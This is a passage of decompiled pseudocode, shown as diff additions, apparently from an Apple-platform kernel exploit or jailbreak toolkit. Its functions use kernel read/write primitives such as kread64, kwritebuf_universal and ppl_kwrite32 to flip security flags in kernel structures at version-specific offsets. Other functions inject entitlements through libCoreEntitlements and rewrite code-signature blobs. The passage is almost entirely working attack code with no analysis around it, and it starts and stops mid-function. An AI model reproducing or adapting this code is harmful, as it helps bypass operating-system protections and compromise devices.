int)sub_2D3F8((__int64)v36, v23, v22) ) + { + v18 = (unsigned int)sub_2CA80(a1, (__int64)v36) == 0; + goto LABEL_57; + } + goto LABEL_56; + } + goto LABEL_69; + } + v18 = 0; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530000000000uLL && (a4 & 1) != 0 ) + { + if ( !(unsigned int)sub_2D2B4(a1, (__int64)v36, a2, &v33) ) + goto LABEL_55; + if ( v33 ) + { + v11 = 0; + goto LABEL_18; + } + goto LABEL_67; + } +LABEL_57: + v24 = __src; + if ( __src ) +LABEL_58: + free(v24); +LABEL_59: + if ( theData ) + CFRelease(theData); + sub_2CB54((__int64)v36); + if ( v18 ) + return 0LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL || v11 ) + return 1LL; + return krw_inject_entitlements_maybe(a1, a2, a3, 0LL); +} +// 1503C: using guessed type __int64 __fastcall krw_inject_entitlements_maybe(_QWORD, _QWORD, _QWORD, _QWORD); + +//----- (000000000002D008) ---------------------------------------------------- +__int64 __fastcall sub_2D008(const UInt8 *a1, CFIndex a2, char *a3, _QWORD *a4, size_t *a5, _BYTE *a6) +{ + void *v12; // x0 + void *v13; // x19 + __int64 *v14; // x0 + __int64 v15; // x20 + __int64 *v16; // x0 + __int64 v17; // x28 + __int64 (__fastcall *v18)(__int64, CFDataRef, __int64 *); // x0 + __int64 (__fastcall *v19)(__int64, CFDataRef, __int64 *); // x27 + __int64 (__fastcall *v20)(__int64, CFDictionaryRef *); // x0 + __int64 (__fastcall *v21)(__int64, CFDictionaryRef *); // x28 + __int64 (__fastcall *v22)(__int64, CFMutableDictionaryRef, CFDataRef *); // x0 + void (__fastcall *v23)(__int64 *); // x20 + CFDataRef v24; // x21 + CFMutableDictionaryRef MutableCopy; // x23 + size_t v26; // x0 + CFErrorRef v27; // x25 + size_t Length; // x26 + void *v29; // x0 + void *v30; // x27 + const UInt8 *BytePtr; // x0 + __int64 v32; // x22 + __int64 (__fastcall *v34)(__int64, CFMutableDictionaryRef, CFDataRef *); // [xsp+10h] [xbp-80h] + __int64 v35; // [xsp+18h] [xbp-78h] + __int64 v36; // [xsp+20h] [xbp-70h] + __int64 v37; // [xsp+28h] [xbp-68h] BYREF + CFDictionaryRef theDict; // [xsp+30h] [xbp-60h] BYREF + CFDataRef theData; // [xsp+38h] [xbp-58h] BYREF + + theDict = 0LL; + theData = 0LL; + v37 = 0LL; + v12 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); + v13 = v12; + if ( !v12 ) + goto LABEL_18; + v14 = (__int64 *)dlsym(v12, "kCENoError"); + if ( !v14 ) + goto LABEL_18; + v15 = *v14; + v16 = (__int64 *)dlsym(v13, "CECRuntime"); + if ( !v16 + || (v17 = *v16, + (v18 = (__int64 (__fastcall *)(__int64, CFDataRef, __int64 *))dlsym(v13, "CEManagedContextFromCFData")) == 0LL) + || (v19 = v18, + v36 = v17, + (v20 = (__int64 (__fastcall *)(__int64, CFDictionaryRef *))dlsym(v13, "CEQueryContextToCFDictionary")) == 0LL) + || (v21 = v20, + (v22 = (__int64 (__fastcall *)(__int64, CFMutableDictionaryRef, CFDataRef *))dlsym( + v13, + "CESerializeCFDictionary")) == 0LL) ) + { +LABEL_18: + v24 = 0LL; + MutableCopy = 0LL; + v27 = 0LL; + v23 = 0LL; + goto LABEL_19; + } + v34 = v22; + v35 = v15; + v23 = (void (__fastcall *)(__int64 *))dlsym(v13, "CEReleaseManagedContext"); + if ( !v23 || !dlsym(v13, "CEGetErrorString") ) + { + v24 = 0LL; +LABEL_36: + MutableCopy = 0LL; + goto LABEL_37; + } + v24 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); + if ( !v24 || v35 != v19(v36, v24, &v37) || v35 != v21(v37, &theDict) ) + goto LABEL_36; + MutableCopy = CFDictionaryCreateMutableCopy(kCFAllocatorDefault, 0LL, theDict); + if ( !MutableCopy ) + { +LABEL_37: + v27 = 0LL; + goto LABEL_19; + } + v26 = strlen(a3); + v27 = sub_2BF00((UInt8 *)a3, v26); + if ( v27 ) + { + if ( (unsigned int)sub_2BFDC(MutableCopy, v27, a6) ) + { + if ( v35 == v34(v36, MutableCopy, &theData) ) + { + Length = CFDataGetLength(theData); + v29 = malloc(Length); + if ( v29 ) + { + v30 = v29; + BytePtr = CFDataGetBytePtr(theData); + memcpy(v30, BytePtr, Length); + *a4 = v30; + *a5 = Length; + v32 = 1LL; + goto LABEL_20; + } + } + } + } +LABEL_19: + v32 = 0LL; +LABEL_20: + if ( theData ) + CFRelease(theData); + if ( v27 ) + CFRelease(v27); + if ( MutableCopy ) + CFRelease(MutableCopy); + if ( theDict ) + CFRelease(theDict); + if ( v37 ) + v23(&v37); + if ( v24 ) + CFRelease(v24); + if ( v13 ) + dlclose(v13); + return v32; +} + +//----- (000000000002D2B4) ---------------------------------------------------- +__int64 __fastcall sub_2D2B4(__int64 a1, __int64 a2, unsigned int a3, bool *a4) +{ + unsigned __int64 v7; // x8 + __int64 v8; // x11 + __int64 v9; // x13 + __int64 v10; // x8 + __int64 result; // x0 + __int64 v12; // [xsp+8h] [xbp-28h] BYREF + + v7 = *(_QWORD *)(a1 + 0x158); + v8 = 0xA8LL; + v9 = 0x90LL; + if ( v7 > 0x1C1B19145FFFFFLL ) + v9 = 0x98LL; + if ( v7 <= 0x1F52FFFFFFFFFFLL ) + v8 = v9; + if ( v7 <= 0x1F530F027FFFFFLL ) + v10 = v8; + else + v10 = 0xA0LL; + result = kread64((_DWORD *)a1, *(_QWORD *)(a2 + 8) + v10, &v12); + if ( (_DWORD)result ) + { + result = sub_34D14(a1, a3); + if ( (_DWORD)result ) + { + *a4 = v12 == *(_QWORD *)(a1 + 0x390); + return 1LL; + } + } + return result; +} + +//----- (000000000002D374) ---------------------------------------------------- +_DWORD *__fastcall sub_2D374(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) +{ + _DWORD *result; // x0 + _DWORD *v9; // x20 + _DWORD *v10; // x23 + _DWORD *v11; // x0 + + result = (_DWORD *)sub_2F92C(a1, a2, a3); + if ( result ) + { + v9 = result; + result = malloc(a5 + 8LL); + if ( result ) + { + v10 = result; + *result = bswap32(a3); + result[1] = bswap32(a5 + 8); + memcpy(result + 2, a4, a5); + v11 = (_DWORD *)*((_QWORD *)v9 + 1); + *((_QWORD *)v9 + 1) = v10; + sub_2F9D4(v11); + return &def_3E8F0 + 1; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D3F8) ---------------------------------------------------- +__int64 __fastcall sub_2D3F8(__int64 a1, unsigned int a2, int a3) +{ + unsigned int *v5; // x20 + __int64 result; // x0 + size_t v7; // x1 + __int64 v8; // x8 + __int64 v9; // x9 + void *v10; // x21 + size_t v11; // x2 + int v12; // [xsp+4h] [xbp-5Ch] BYREF + _BYTE __src[48]; // [xsp+8h] [xbp-58h] BYREF + + v5 = sub_2C9B0(a1, a2, a3); + result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); + if ( result ) + { + if ( bswap32(*(_DWORD *)(result + 0x18)) < a2 ) + return 0LL; + v7 = *(unsigned int *)(a1 + 0x48); + v8 = result + bswap32(*(_DWORD *)(result + 0x10)); + v9 = (unsigned int)v7 * a2; + v10 = (void *)(v8 - v9); + if ( v5 ) + { + v12 = 0x30; + result = sub_2BCF0(*(unsigned __int8 *)(result + 0x25), v5, bswap32(v5[1]), __src, &v12); + if ( !(_DWORD)result ) + return result; + v11 = *(unsigned int *)(a1 + 0x48); + if ( (_DWORD)v11 != v12 ) + return 0LL; + memcpy(v10, __src, v11); + } + else + { + bzero((void *)(v8 - v9), v7); + } + return 1LL; + } + return result; +} + +//----- (000000000002D500) ---------------------------------------------------- +bool __fastcall sub_2D500(const UInt8 *a1, CFIndex a2, __int64 a3) +{ + void *v6; // x0 + void *v7; // x19 + __int64 *v8; // x0 + __int64 v9; // x26 + __int64 *v10; // x0 + __int64 v11; // x23 + __int64 (__fastcall *v12)(__int64, CFPropertyListRef, __int64); // x0 + __int64 (__fastcall *v13)(__int64, CFPropertyListRef, __int64); // x24 + const __CFData *v14; // x0 + const __CFData *v15; // x21 + CFPropertyListRef v16; // x0 + const void *v17; // x22 + _BOOL8 v18; // x20 + + v6 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1); + if ( v6 ) + { + v7 = v6; + v8 = (__int64 *)dlsym(v6, "kCENoError"); + if ( v8 ) + { + v9 = *v8; + v10 = (__int64 *)dlsym(v7, "CECRuntime"); + if ( v10 ) + { + v11 = *v10; + v12 = (__int64 (__fastcall *)(__int64, CFPropertyListRef, __int64))dlsym(v7, "CESerializeCFDictionary"); + if ( v12 ) + { + v13 = v12; + if ( dlsym(v7, "CEGetErrorString") ) + { + v14 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull); + if ( v14 ) + { + v15 = v14; + v16 = CFPropertyListCreateWithData(kCFAllocatorDefault, v14, 0LL, 0LL, 0LL); + if ( v16 ) + { + v17 = v16; + v18 = v9 == v13(v11, v16, a3); + CFRelease(v15); + CFRelease(v17); +LABEL_12: + dlclose(v7); + return v18; + } + CFRelease(v15); + } + } + } + } + } + v18 = 0LL; + goto LABEL_12; + } + return 0LL; +} + +//----- (000000000002D64C) ---------------------------------------------------- +_DWORD *__fastcall sub_2D64C(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5) +{ + size_t v9; // x24 + unsigned int v10; // w25 + _DWORD *result; // x0 + _DWORD *v12; // x22 + + if ( (*(_BYTE *)a1 & 1) != 0 && *(_DWORD *)(a1 + 0x30) == 1 ) + { + v9 = a5; + v10 = a5 + 8; + result = malloc(a5 + 8LL); + if ( !result ) + return result; + v12 = result; + *result = bswap32(a3); + result[1] = bswap32(v10); + memcpy(result + 2, a4, v9); + if ( (unsigned int)sub_32650(*(unsigned int **)(a1 + 0x38), a2, (__int64)v12) != 0xFFFFFFFF ) + return &def_3E8F0 + 1; + sub_2F9D4(v12); + } + return 0LL; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D700) ---------------------------------------------------- +unsigned int *__fastcall sub_2D700(__int64 a1, unsigned int a2) +{ + unsigned int *result; // x0 + unsigned int *v5; // x21 + unsigned int v6; // w25 + int v7; // w26 + int v8; // w24 + size_t v9; // x23 + unsigned int *v10; // x20 + __int64 v11; // x23 + size_t v12; // x2 + __int64 v13; // x8 + unsigned int v14; // w8 + unsigned int v15; // w9 + __int64 v16; // x19 + + result = sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); + if ( result ) + { + v5 = result; + v6 = bswap32(result[6]); + if ( v6 >= a2 ) + { + return (unsigned int *)(&def_3E8F0 + 1); + } + else + { + v7 = *(_DWORD *)(a1 + 0x48); + v8 = v7 * (a2 - v6); + v9 = bswap32(result[1]) + v8; + result = (unsigned int *)malloc(v9); + if ( result ) + { + v10 = result; + bzero(result, v9); + v11 = v7 * v6; + memcpy(v10, v5, bswap32(v5[4]) - (unsigned int)v11); + v12 = bswap32(v5[1]) + (_DWORD)v11 - bswap32(v5[4]); + v13 = bswap32(v10[4]) + v8; + v10[4] = bswap32(v13); + v10[1] = bswap32(bswap32(v10[1]) + v8); + v10[6] = bswap32(a2); + memcpy((char *)v10 + v13 - v11, (char *)v5 + bswap32(v5[4]) - v11, v12); + v14 = bswap32(v5[4]); + if ( bswap32(v5[5]) > v14 ) + v10[5] = bswap32(bswap32(v10[5]) + v8); + v15 = bswap32(v5[2]); + if ( v15 >> 8 >= 0x201 ) + { + if ( bswap32(v5[0xB]) > v14 ) + v10[0xB] = bswap32(bswap32(v10[0xB]) + v8); + if ( v15 > 0x201FF ) + { + if ( bswap32(v5[0xC]) > v14 ) + v10[0xC] = bswap32(bswap32(v10[0xC]) + v8); + if ( v15 > 0x204FF ) + { + if ( bswap32(v5[0x17]) > v14 ) + v10[0x17] = bswap32(bswap32(v10[0x17]) + v8); + if ( v15 > 0x205FF && bswap32(v5[0x19]) > v14 ) + v10[0x19] = bswap32(bswap32(v10[0x19]) + v8); + } + } + } + v16 = sub_2CA2C(a1, *(_DWORD *)(a1 + 0x40), v10); + free(v10); + return (unsigned int *)v16; + } + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000002D934) ---------------------------------------------------- +__int64 __fastcall sub_2D934(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x20 + __int64 v6; // x1 + __int64 v7; // x0 + int v8; // w8 + _DWORD *v9; // x0 + int v10; // w1 + _BOOL4 has_flag; // w0 + bool v12; // zf + __int64 v13; // x22 + __int64 v14; // x23 + __int64 v15; // x8 + __int64 v16; // x9 + int v17; // w8 + __int64 v18; // x8 + _BOOL4 v19; // w0 + unsigned __int64 v20; // x9 + _BOOL4 v21; // w0 + __int64 v22; // x8 + __int64 v23; // x9 + _BOOL4 v24; // w0 + __int64 v25; // x21 + int v26; // w8 + char v27; // [xsp+Fh] [xbp-31h] BYREF + + v27 = 0; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184201) ) + return 1LL; + result = sub_349C8((_DWORD *)a1, a2); + if ( !result ) + return result; + v5 = result; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + v6 = v5 + 0x92; +LABEL_5: + v7 = a1; + goto LABEL_6; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + result = krw_ctx_has_flag((_DWORD *)a1, 0x200); + if ( !(_DWORD)result ) + return result; + v17 = *(_DWORD *)(a1 + 0x140); + if ( v17 >= 0x1809 ) + { + if ( v17 <= 0x2257 ) + { + if ( v17 <= 0x1F52 ) + { + if ( v17 <= 0x1C1A ) + { + v18 = 0xEFLL; + if ( *(_QWORD *)(a1 + 0x158) > 0x18090A078FFFFFuLL ) + v18 = 0xE7LL; + } + else + { + v18 = 0xDFLL; + } + } + else + { + v18 = 0x97LL; + } + } + else + { + v18 = 0x8FLL; + } + v6 = v18 + v5; + goto LABEL_5; + } + return 1LL; + } + v8 = *(_DWORD *)(a1 + 0x140); + if ( v8 >= 0x2712 ) + { + v9 = (_DWORD *)a1; + v10 = 0x1180000; +LABEL_13: + has_flag = krw_ctx_has_flag(v9, v10); + v12 = !has_flag; + if ( has_flag ) + v13 = 0xC9LL; + else + v13 = 0xC1LL; + if ( has_flag ) + v14 = 0xCALL; + else + v14 = 0xC2LL; + v15 = 0xC7LL; + v16 = 0xBFLL; +LABEL_50: + if ( v12 ) + v15 = v16; + goto LABEL_52; + } + if ( v8 >= 0x2258 ) + { + v19 = krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v12 = !v19; + if ( v19 ) + v13 = 0xC1LL; + else + v13 = 0xB9LL; + if ( v19 ) + v14 = 0xC2LL; + else + v14 = 0xBALL; + v15 = 0xBFLL; + v16 = 0xB7LL; + goto LABEL_50; + } + if ( v8 >= 0x1F53 ) + { + v9 = (_DWORD *)a1; + v10 = 0x180000; + goto LABEL_13; + } + v20 = *(_QWORD *)(a1 + 0x158); + if ( v20 >= 0x1C1B0A80100000LL ) + { + v21 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v12 = !v21; + if ( v21 ) + v13 = 0x109LL; + else + v13 = 0x101LL; + v22 = 0x10ALL; + v23 = 0x102LL; +LABEL_46: + if ( v12 ) + v14 = v23; + else + v14 = v22; + v15 = 0x107LL; + v16 = 0xFFLL; + goto LABEL_50; + } + if ( v8 >= 0x1C1B ) + { + v24 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v12 = !v24; + if ( v24 ) + v13 = 0x108LL; + else + v13 = 0x100LL; + v22 = 0x109LL; + v23 = 0x101LL; + goto LABEL_46; + } + if ( v20 <= 0x18090A078FFFFFLL ) + v13 = 0x110LL; + else + v13 = 0x108LL; + if ( v20 <= 0x18090A078FFFFFLL ) + v14 = 0x111LL; + else + v14 = 0x109LL; + v15 = 0x10FLL; + if ( v20 > 0x18090A078FFFFFLL ) + v15 = 0x107LL; +LABEL_52: + v25 = v15 + v5; + v26 = kreadbuf_last_1(a1, v15 + v5, 1LL, (__int64)&v27); + result = 0LL; + if ( !v26 ) + return result; + if ( !v27 ) + return result; + result = kreadbuf_last_1(a1, v13 + v5, 1LL, (__int64)&v27); + if ( !(_DWORD)result ) + return result; + if ( !v27 ) + return 1LL; + result = kreadbuf_last_1(a1, v14 + v5, 1LL, (__int64)&v27); + if ( (_DWORD)result ) + { + if ( !v27 ) + return 0LL; + v7 = a1; + v6 = v25; +LABEL_6: + result = kreadbuf_last_1(v7, v6, 1LL, (__int64)&v27); + if ( !(_DWORD)result ) + return result; + return v27 != 0; + } + return result; +} + +//----- (000000000002DC40) ---------------------------------------------------- +__int64 __fastcall sub_2DC40(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x20 + int v6; // w8 + int v7; // w8 + _DWORD *v8; // x0 + int v9; // w1 + _BOOL4 has_flag; // w0 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + __int64 v14; // x10 + _BOOL4 v15; // w0 + __int64 v16; // x21 + unsigned __int64 v17; // x9 + _BOOL4 v18; // w0 + _BOOL4 v19; // w0 + unsigned __int8 v20; // [xsp+Fh] [xbp-31h] BYREF + __int64 v21; // [xsp+10h] [xbp-30h] BYREF + unsigned __int8 v22; // [xsp+1Fh] [xbp-21h] BYREF + + v22 = 0; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + return 1LL; + result = sub_349C8((_DWORD *)a1, a2); + if ( !result ) + return result; + v5 = result; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + result = kread64((_DWORD *)a1, v5 + 0xB0, &v21); + if ( (_DWORD)result ) + { + result = validate_addr(a1, v21); + if ( result ) + { + result = kreadbuf_last_1(a1, v21 + 0x20, 1LL, (__int64)&v20); + if ( (_DWORD)result ) + { + v6 = v20; + return v6 != 0; + } + } + } + return result; + } + v7 = *(_DWORD *)(a1 + 0x140); + if ( v7 >= 0x2712 ) + { + v8 = (_DWORD *)a1; + v9 = 0x1180000; +LABEL_10: + has_flag = krw_ctx_has_flag(v8, v9); + v11 = !has_flag; + v12 = 0xC9LL; + if ( !has_flag ) + v12 = 0xC1LL; + v13 = 0xCALL; + v14 = 0xC2LL; +LABEL_17: + if ( v11 ) + v16 = v14; + else + v16 = v13; + goto LABEL_20; + } + if ( v7 >= 0x2258 ) + { + v15 = krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v11 = !v15; + v12 = 0xC1LL; + if ( !v15 ) + v12 = 0xB9LL; + v13 = 0xC2LL; + v14 = 0xBALL; + goto LABEL_17; + } + if ( v7 >= 0x1F53 ) + { + v8 = (_DWORD *)a1; + v9 = 0x180000; + goto LABEL_10; + } + v17 = *(_QWORD *)(a1 + 0x158); + if ( v17 >= 0x1C1B0A80100000LL ) + { + v18 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v11 = !v18; + v12 = 0x109LL; + if ( !v18 ) + v12 = 0x101LL; + v13 = 0x10ALL; + v14 = 0x102LL; + goto LABEL_17; + } + if ( v7 >= 0x1C1B ) + { + v19 = krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v11 = !v19; + v12 = 0x108LL; + if ( !v19 ) + v12 = 0x100LL; + v13 = 0x109LL; + v14 = 0x101LL; + goto LABEL_17; + } + v12 = 0x110LL; + if ( v17 <= 0x18090A078FFFFFLL ) + { + v16 = 0x111LL; + } + else + { + v12 = 0x108LL; + v16 = 0x109LL; + } +LABEL_20: + result = kreadbuf_last_1(a1, v12 + v5, 1LL, (__int64)&v22); + if ( !(_DWORD)result ) + return result; + if ( !v22 ) + return 1LL; + result = kreadbuf_last_1(a1, v16 + v5, 1LL, (__int64)&v22); + if ( (_DWORD)result ) + { + v6 = v22; + return v6 != 0; + } + return result; +} + +//----- (000000000002DE64) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2DE64(__int64 a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + mach_vm_address_t v4; // x20 + int v5; // [xsp+Ch] [xbp-14h] BYREF + + result = sub_34680(a1, a2); + if ( result ) + { + v4 = result; + result = kread32_outptr(a1, result, &v5); + if ( (_DWORD)result ) + return (v5 & 1) != 0 || (unsigned int)ppl_kwrite32(a1, v4, v5 | 1u) != 0; + } + return result; +} + +//----- (000000000002DED4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_2DED4(__int64 a1, unsigned int a2, int a3) +{ + unsigned __int64 result; // x0 + mach_vm_address_t v7; // x22 + int v8; // w8 + unsigned int v9; // w9 + int v10; // w10 + unsigned __int64 v11; // x21 + unsigned __int64 v12; // x21 + int v13; // w8 + int v14; // w9 + int v15; // w10 + int v16; // w9 + int v17; // w2 + int v18; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_2DC40(a1, a2); + if ( (_DWORD)result ) + { + result = sub_34680(a1, a2); + if ( result ) + { + v7 = result; + result = kread32_outptr(a1, result, &v18); + if ( (_DWORD)result ) + { + v8 = v18; + v9 = v18 & 0xEFFFFCFE; + v10 = a3 ? 0x10000001 : 0x301; + v18 = v10 | v9; + if ( (v10 | v9) == v8 || (result = ppl_kwrite32(a1, v7, v10 | v9), (_DWORD)result) ) + { + result = sub_33CB0((_DWORD *)a1, a2); + if ( result ) + { + v11 = result; + result = sub_3481C(a1); + if ( (_DWORD)result ) + { + v12 = v11 + (unsigned int)result; + result = kread32_outptr(a1, v12, &v18); + if ( (_DWORD)result ) + { + v13 = v18; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B1E025FFFFFuLL ) + v14 = 0x10; + else + v14 = 0x8010; + v15 = v14 | v18; + v16 = v18 & ~v14; + if ( a3 ) + v17 = v16; + else + v17 = v15; + v18 = v17; + if ( v17 == v13 ) + return 1LL; + result = noppl_kwrite32(a1, v12, v17); + if ( (_DWORD)result ) + return 1LL; + } + } + } + } + } + } + } + return result; +} + +//----- (000000000002E00C) ---------------------------------------------------- +void __fastcall sub_2E00C(__int64 a1, unsigned int a2) +{ + mach_vm_address_t v4; // x0 + unsigned __int64 v5; // x8 + mach_vm_address_t v6; // x0 + int v7; // w0 + unsigned __int64 v8; // x8 + __int64 v9; // x8 + int v10; // w0 + __int64 v11; // x1 + __int64 v12; // x2 + unsigned __int64 *v13; // x8 + unsigned __int64 v14; // x8 + unsigned __int64 v15; // x8 + bool v16; // zf + int v17; // w0 + _OWORD v18[6]; // [xsp+0h] [xbp-1F0h] BYREF + __int64 v19; // [xsp+60h] [xbp-190h] + unsigned __int64 v20; // [xsp+68h] [xbp-188h] BYREF + unsigned int v21; // [xsp+74h] [xbp-17Ch] BYREF + _BYTE v22[8]; // [xsp+78h] [xbp-178h] BYREF + __int64 v23; // [xsp+80h] [xbp-170h] + unsigned __int64 v24; // [xsp+98h] [xbp-158h] + __int64 v25; // [xsp+A0h] [xbp-150h] + __int128 v26; // [xsp+E0h] [xbp-110h] BYREF + _OWORD v27[11]; // [xsp+F0h] [xbp-100h] BYREF + __int64 v28; // [xsp+1A0h] [xbp-50h] + + v4 = sub_34FF8(a1, a2, &v21); + if ( v4 && ((v21 & 0x400) != 0 || noppl_kwrite32(a1, v4, v21 | 0x400)) ) + { + if ( (v5 = *(_QWORD *)(a1 + 0x158), v5 <= 0x22580A06BFFFFFLL) + && (v5 < 0x1F543C40800000LL || *(int *)(a1 + 0x140) > 0x2257) + || (v6 = sub_34F5C(a1, a2, 1, &v21)) != 0 + && ((v21 & 0x400) != 0 || (unsigned int)ppl_kwrite32(a1, v6, v21 | 0x400)) ) + { + if ( (unsigned int)sub_2C2F8(a1, a2, (__int64)v22) ) + { + sub_2E310(a1, (__int64)v22); + if ( v7 ) + { + v8 = *(_QWORD *)(a1 + 0x158); + if ( v8 >= 0x1C1B1914600000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v8 >= 0x1F530000000000LL) ) + { + if ( v24 ) + { + if ( kread64((_DWORD *)a1, v24, (__int64 *)&v20) ) + { + v11 = v20; + if ( v20 ) + { + while ( 1 ) + { + v28 = 0LL; + memset(&v27[1], 0, 0xA0); + v12 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x30LL : 0x40LL; + v26 = 0uLL; + v27[0] = 0uLL; + if ( !(unsigned int)kreadbuf_last_1(a1, v11, v12, (__int64)&v26) ) + break; + v13 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL + ? (unsigned __int64 *)((char *)v27 + 8) + : (unsigned __int64 *)((char *)&v27[1] + 8); + v14 = *v13; + v16 = v25 == v14; + v15 = v14 >> 0x1D; + v16 = v16 || v15 == 0; + if ( !v16 ) + { + v19 = 0LL; + v18[0] = __PAIR128__(v20, 0LL); + memset(&v18[1], 0, 0x50); + sub_2E310(a1, (__int64)v18); + if ( !v17 ) + break; + } + if ( !kread64((_DWORD *)a1, v20, (__int64 *)&v20) ) + break; + v11 = v20; + if ( !v20 ) + goto LABEL_16; + } + } + } + } + } + else + { +LABEL_16: + sub_2CB54((__int64)v22); + if ( (unsigned int)sub_2E4E0((_DWORD *)a1, a2, (unsigned __int64 *)v18) + && (unsigned int)sub_2E5C0(a1, a2, (__int64 *)v18, 0, (__int64)v22) ) + { + v9 = 0x48LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v9 = 0x58LL; + if ( (unsigned int)kreadbuf_last_1(a1, v9 + v23, 0x14LL, (__int64)&v26) + && sub_22464(a1, (__int64)&v26, 0x14) ) + { + sub_2E310(a1, (__int64)v22); + if ( v10 ) + sub_2CB54((__int64)v22); + } + } + } + } + } + } + } +} +// 2E100: variable 'v7' is possibly undefined +// 2E1D4: variable 'v10' is possibly undefined +// 2E2B0: variable 'v17' is possibly undefined + +//----- (000000000002E310) ---------------------------------------------------- +void __fastcall sub_2E310(__int64 a1, __int64 a2) +{ + unsigned __int64 v4; // x8 + __int64 v5; // x22 + __int64 v6; // x22 + int v7; // w8 + int v8; // w9 + __int64 v9; // x21 + int v10; // w0 + __int64 v11; // [xsp+0h] [xbp-30h] BYREF + int v12; // [xsp+8h] [xbp-28h] BYREF + int v13; // [xsp+Ch] [xbp-24h] BYREF + + v13 = 1; + v4 = *(_QWORD *)(a1 + 0x158); + if ( v4 <= 0x1F530F027FFFFFLL ) + { + if ( v4 <= 0x1F52FFFFFFFFFFLL ) + { + if ( v4 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(a1 + 0x140) <= 0x1C1A ) + v5 = 0xA8LL; + else + v5 = 0xA0LL; + } + else + { + v5 = 0xA8LL; + } + } + else + { + v5 = 0xB8LL; + } + } + else + { + v5 = 0xACLL; + } + if ( (unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(a2 + 8) + v5, 1LL, (__int64)&v13) ) + { + if ( (v13 & 1) != 0 + || (v13 |= 1u, (unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v5, (__int64)&v13, 1LL)) ) + { + v6 = *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x10LL : 0x20LL; + if ( (unsigned int)kreadbuf_last_1(a1, v6 + *(_QWORD *)(a2 + 8), 4LL, (__int64)&v12) ) + { + v7 = v12; + if ( (~v12 & 0x4004000) != 0 ) + { + v8 = *(int *)(a1 + 0x140) <= 0x1C1A ? 0x4004000 : 0x4000000; + v12 |= v8; + if ( (v8 | v7) != v7 ) + { + if ( !(unsigned int)kwritebuf_universal((_QWORD *)a1, *(_QWORD *)(a2 + 8) + v6, (__int64)&v12, 4LL) ) + return; + *(_DWORD *)a2 = v12; + } + } + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + v9 = 0x80LL; + else + v9 = 0x88LL; + if ( kread64((_DWORD *)a1, v9 + *(_QWORD *)(a2 + 8), &v11) ) + { + if ( !v11 || (sub_2A63C(a1, *(_QWORD *)(a2 + 8) + v9, 0LL), v10) ) + *(_DWORD *)(a2 + 0x50) = 0; + } + } + } + } +} +// 2E4C0: variable 'v10' is possibly undefined + +//----- (000000000002E4E0) ---------------------------------------------------- +__int64 __fastcall sub_2E4E0(_DWORD *a1, unsigned int a2, unsigned __int64 *a3) +{ + __int64 result; // x0 + unsigned __int64 v6; // x21 + __int64 v7; // x0 + __int64 v8; // x0 + __int64 v9; // x21 + unsigned __int64 v10; // x8 + unsigned __int64 v11; // [xsp+8h] [xbp-38h] BYREF + unsigned int v12; // [xsp+10h] [xbp-30h] BYREF + int v13; // [xsp+14h] [xbp-2Ch] BYREF + __int64 v14; // [xsp+18h] [xbp-28h] BYREF + + v14 = 0LL; + result = sub_32D6C((__int64)a1, a2); + if ( result ) + { + v6 = result; + result = sub_329B8((__int64)a1, result); + if ( result ) + { + result = kread64(a1, result, &v14); + if ( (_DWORD)result ) + { + if ( (v14 & 4) != 0 ) + { + v10 = v14 & 0xFFFFFFFFFFFFF000LL; + goto LABEL_11; + } + v7 = sub_328A4((__int64)a1, v6); + if ( v7 ) + { + v8 = sub_33304((__int64)a1, v7); + if ( v8 ) + { + v9 = v8; + if ( (unsigned int)sub_2BBA4((__int64)a1, &v13, (int *)&v12) ) + { + if ( (unsigned int)kreadbuf_last_1((__int64)a1, v9 + v12, 8LL, (__int64)&v11) ) + { + v10 = v11; +LABEL_11: + *a3 = v10; + return 1LL; + } + } + } + } + return 0LL; + } + } + } + return result; +} + +//----- (000000000002E5C0) ---------------------------------------------------- +__int64 __fastcall sub_2E5C0(__int64 a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5) +{ + unsigned __int64 v8; // x0 + unsigned __int64 v9; // x23 + __int64 v10; 